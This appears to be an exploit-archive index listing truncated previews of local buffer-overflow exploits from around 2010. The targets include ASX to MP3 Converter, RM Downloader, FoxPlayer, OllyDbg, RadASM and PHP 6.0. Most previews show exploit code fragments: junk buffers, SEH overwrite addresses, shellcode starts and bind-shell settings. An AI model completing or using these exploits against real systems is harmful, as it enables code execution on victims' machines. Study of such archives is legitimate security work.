ASX to MP3 Converter 3.1.2.1 - Local Buffer Overflow (SEH)

Exploit Title: ASX to MP3 Converter Version 3.1.2.1 2010-03-30 Local Buffer Overflow SEH Date: nhar essabt 3-7-10 Author: MadjiX Software Link: http://www.mini-stream.net/downloads/ASXtoMP3Converter.exe Version: 3.1.2.1 ‎2010-03-30 Tested on: xp sp3 my $shellcode=...

RM Downloader 3.1.3 - Local Buffer Overflow (SEH)

!/usr/bin/perl RM Downloader 3.1.3 Local stack BOF Download : http://www.mini-stream.net/downloads/RMDownloader.exe By Madjix Dz8athotmaildotcom my $hd = "EXTM3U\n" ; my $jnk="\x41" x 43488 ; my $nseh="\xeb\x06\x90\x90" ; my $seh="\x16\xBE\x87\x7C" ; my $nops = "\x90" x 24 ; my $shellcode=...

RM Downloader 3.1.3 - Local Buffer Overflow (SEH)

RM Downloader 3.1.3 - Local Buffer Overflow SEH !/usr/bin/perl RM Downloader 3.1.3 Local stack BOF Download : http://www.mini-stream.net/downloads/RMDownloader.exe By Madjix Dz8athotmaildotcom my $hd = "EXTM3U\n" ; my $jnk="\x41" x 43488 ; my $nseh="\xeb\x06\x90\x90" ; my $seh="\x16\xBE\x87\x7C" ...

FoxPlayer 2 - '.m3u' Local Buffer Overflow (PoC)

Exploit Title : FoxPlayer 2 .m3u Local BOF PoC download : http://www.foxmediatools.com/products/foxplayer.html tested on windows xp SP 3 FR Author: MadjiX - Dz8athotmaildotcom Special Greets: Bibi-info , His0k4 my $file= "MadjiX.m3u"; my $junk1= "\x41" x 100000 ; open$FILE,"$file"; print $FILE...

FoxPlayer 2 - .m3u Local Buffer Overflow (PoC)

FoxPlayer 2 - .m3u Local Buffer Overflow PoC Exploit Title : FoxPlayer 2 .m3u Local BOF PoC download : http://www.foxmediatools.com/products/foxplayer.html tested on windows xp SP 3 FR Author: MadjiX - Dz8athotmaildotcom Special Greets: Bibi-info , His0k4 my $file= "MadjiX.m3u"; my $junk1= "\x41"...

Power Tab Editor 1.7 (Build 80) - Local Buffer Overflow

Exploit Title : Power Tab Editor v1.7 Build 80 Date : 07/06/2010 Author : Sud0 Bug found by : Sud0 Software Link : http://www.power-tab.net/guitar.php Version : v1.7 Build 80 OS : Windows Tested on : XP SP3 En VirtualBox Type of vuln : EIP / SEH Thanks to my wife for her support Congratz to marko...

PhotoFiltre Studio X - '.tif' Local Buffer Overflow

include define fisier FILE define ALOCtip,n tipmallocsizeoftipn define VER "10.3.0" define POCNAME "PhotoFiltre Studio X .tif file local buffer overflow poc0day" define AUTHOR "fl0 fl0w" typedef char i8; typedef short i16; typedef int i32; void genrandomi8,const int; void printi8; i32...

IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit

Exploit for windows platform in category local exploits ========================================================= IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit ========================================================= !/usr/bin/env python IDEAL Migration 2009 v4.5.1 Local Buffer...

IDEAL Migration 2009 4.5.1 - Local Buffer Overflow

IDEAL Migration 2009 4.5.1 - Local Buffer Overflow !/usr/bin/env python IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit Found By: DrIDE Usage: Right Click First Element in tree - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 windows/shellbindtcp...

IDEAL Administration 2010 10.2 - Local Buffer Overflow

!/usr/bin/env python IDEAL Administration 2010 v10.2 Local Buffer Overflow Exploit Found By: DrIDE Usage: Migrate - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 windows/shellbindtcp - 696 bytes Encoder: x86/alphamixed EXITFUNC=seh, LPORT=4444 sc =...

PHP 6.0 Dev - str_transliterate() Local Buffer Overflow (NX + ASLR Bypass)

PHP 6.0 Dev - strtransliterate Local Buffer Overflow NX + ASLR Bypass whoami whoami nt authority\system / errorreporting0; $bases = $GET'poss'; $basee = $GET'pose'; $offs = $GET'offs'; $offe = $GET'offe'; ifinigetbool'unicode.semantics' $buff = strrepeat"\u4141", 32; $tbp = "\u2650\u6EE5"; //...

PHP 6.0 Dev - 'str_transliterate()' Local Buffer Overflow (NX + ASLR Bypass)

whoami whoami nt authority\system / errorreporting0; $bases = $GET'poss'; $basee = $GET'pose'; $offs = $GET'offs'; $offe = $GET'offe'; ifinigetbool'unicode.semantics' $buff = strrepeat"\u4141", 32; $tbp = "\u2650\u6EE5"; // 6EE52650 ADDRESS TO BE PATCHED BY WPM $ptw = "\u2FE0\u6EE5"; // 6EE52FE0...

WM Downloader 3.0.0.9 - '.asx' Local Buffer Overflow

!/usr/bin/python Title: WM Downloader 3.0.0.9 .asx Local Buffer Overflow Date: 03-29-2010 Author: b0telh0 Tested on: Windows XP SP3 windows/exec - 227 bytes EXITFUNC=process, CMD=calc.exe shellcode = "\x29\xc9\xb1\x33\xda\xd3\xbd\x07\x4a\x9e\x37\xd9\x74\x24\xf4"...

myMP3-Player 3.0 - '.m3u' Local Buffer Overflow (SEH)

!/usr/bin/perl Title: myMP3-Player v3.0 .m3u Local Buffer Overflow Exploit SEH Date: 18.03.2010 Author: n3w7u Software Link: http://www.chip.de/downloads/myMP3-Player-3.013008621.html Version: 3.0 and the other version can't be download from serious Page, and don't be free. Tested on: Windows XP...

Ollydbg 2.00 Beta1 - Local Buffer Overflow

Exploit Title: Ollydbg 2.00 Beta1 Local Buffer Overflow Exploit Date: 2010-02-15 Author: SuBz3r0 Software Link: http://www.ollydbg.de/version2.html Version: 2.00 Beta 1 Tested on: XP SP3 CVE : if exists Code : Ollydbg2 v2.00 beta1 Exploit in Python print "" print "" print " SuBz3r0 " print "" pri...

Ollydbg 2.00 Beta1 - Local Buffer Overflow

Ollydbg 2.00 Beta1 - Local Buffer Overflow Exploit Title: Ollydbg 2.00 Beta1 Local Buffer Overflow Exploit Date: 2010-02-15 Author: SuBz3r0 Software Link: http://www.ollydbg.de/version2.html Version: 2.00 Beta 1 Tested on: XP SP3 CVE : if exists Code : Ollydbg2 v2.00 beta1 Exploit in Python print...

Radasm .rap file local buffer overflow vulnerability

Exploit for unknown platform in category local exploits ==================================================== Radasm .rap file local buffer overflow vulnerability ==================================================== include include include void genrandomchar,const int; void printchar; unsigned int...

RadASM 2.2.1.6 - .rap Local Buffer Overflow (PoC)

RadASM 2.2.1.6 - .rap Local Buffer Overflow PoC /Radasm .rap file local buffer overflow POC I'll be back in a few hours with the exploit. The vuln is in the filename field. snip Files...1=AVP OVERFLOW... snip / include void genrandomchar,const int; void printchar; unsigned int getFsizeFILE,char;...

FoxPlayer 1.7.0 (.m3u) Local Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl print qq FoxPlayer 1.7.0 .m3u Local Buffer Overflow Exploit Credit : opt!x hacker http://milw0rm.com/exploits/9393 Author : cr4wl3r cr4wl3r!linuxmail.org Greetz : str0ke, opt!x hacker, xoron all member at manadocoding.net all member at...

FoxPlayer 1.7.0 Local Buffer Overflow

!/usr/bin/perl print qq FoxPlayer 1.7.0 .m3u Local Buffer Overflow Exploit Credit : opt!x hacker http://milw0rm.com/exploits/9393 Author : cr4wl3r Greetz : str0ke, opt!x hacker, xoron all member at manadocoding.net all member at indonesianhacker.org ; my $junk = "\x41" x 260; my $eip =...